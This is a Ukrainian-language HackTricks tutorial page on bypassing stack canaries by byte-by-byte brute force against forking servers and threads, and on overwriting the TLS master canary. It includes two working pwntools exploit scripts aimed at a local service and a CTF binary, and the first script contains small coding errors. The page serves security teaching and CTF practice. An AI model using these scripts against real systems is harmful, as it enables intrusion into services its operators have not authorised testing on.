BF Forked & Threaded Stack Canaries

Підтримайте HackTricks

Якщо ви маєте справу з бінарним файлом, захищеним канарейкою та PIE (Position Independent Executable), вам, ймовірно, потрібно знайти спосіб їх обійти.

Зверніть увагу, що checksec може не виявити, що бінарний файл захищений канарейкою, якщо він був статично скомпільований і не може ідентифікувати функцію. Однак ви можете вручну помітити це, якщо ви помітите, що значення зберігається в стеку на початку виклику функції і це значення перевіряється перед виходом.

Брутфорс Канарейки

Найкращий спосіб обійти просту канарейку - це якщо бінарний файл є програмою, яка розгалужує дочірні процеси кожного разу, коли ви встановлюєте нове з'єднання з ним (мережевий сервіс), оскільки кожного разу, коли ви підключаєтеся до нього, використовуватиметься та сама канарейка.

Тоді найкращий спосіб обійти канарейку - це просто брутфорсити її посимвольно, і ви можете визначити, чи був вірний вгаданий байт канарейки, перевіривши, чи програма впала, чи продовжує свій звичайний хід. У цьому прикладі функція брутфорсить 8 байтів канарейки (x64) та розрізняє між правильно вгаданим байтом та неправильним байтом просто перевіряючи, чи відправлена відповідь сервером (інший спосіб у іншій ситуації може бути використання try/except):

Приклад 1

Цей приклад реалізований для 64-бітної системи, але може бути легко реалізований для 32-бітної системи.

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Приклад 2

Це реалізовано для 32-бітної системи, але це можна легко змінити на 64 біти. Також зверніть увагу, що для цього прикладу програма спочатку очікує байт, щоб вказати розмір введення та корисне навантаження.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

Потоки

Потоки того ж процесу також спільно використовують один і той же маркер-канарейку, тому буде можливо перебрати канарейку, якщо бінарний файл створює новий потік кожен раз, коли відбувається атака.

Більше того, переповнення буфера в потоковій функції, захищеній канарейкою, може бути використане для зміни головної канарейки, збереженої в TLS. Це тому, що можливо досягти позиції пам'яті, де зберігається TLS (і, отже, канарейка) через bof в стеку потоку. В результаті, захист є некорисним, оскільки перевірка використовується з двома канарейками, які є однаковими (хоча і зміненими). Цю атаку виконано в описі: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads

Також перегляньте презентацію https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015, в якій зазначено, що зазвичай TLS зберігається за допомогою mmap, і коли створюється стек потоку, він також генерується за допомогою mmap, що може дозволити переповнення, як показано в попередньому описі.

Інші приклади та посилання

Last updated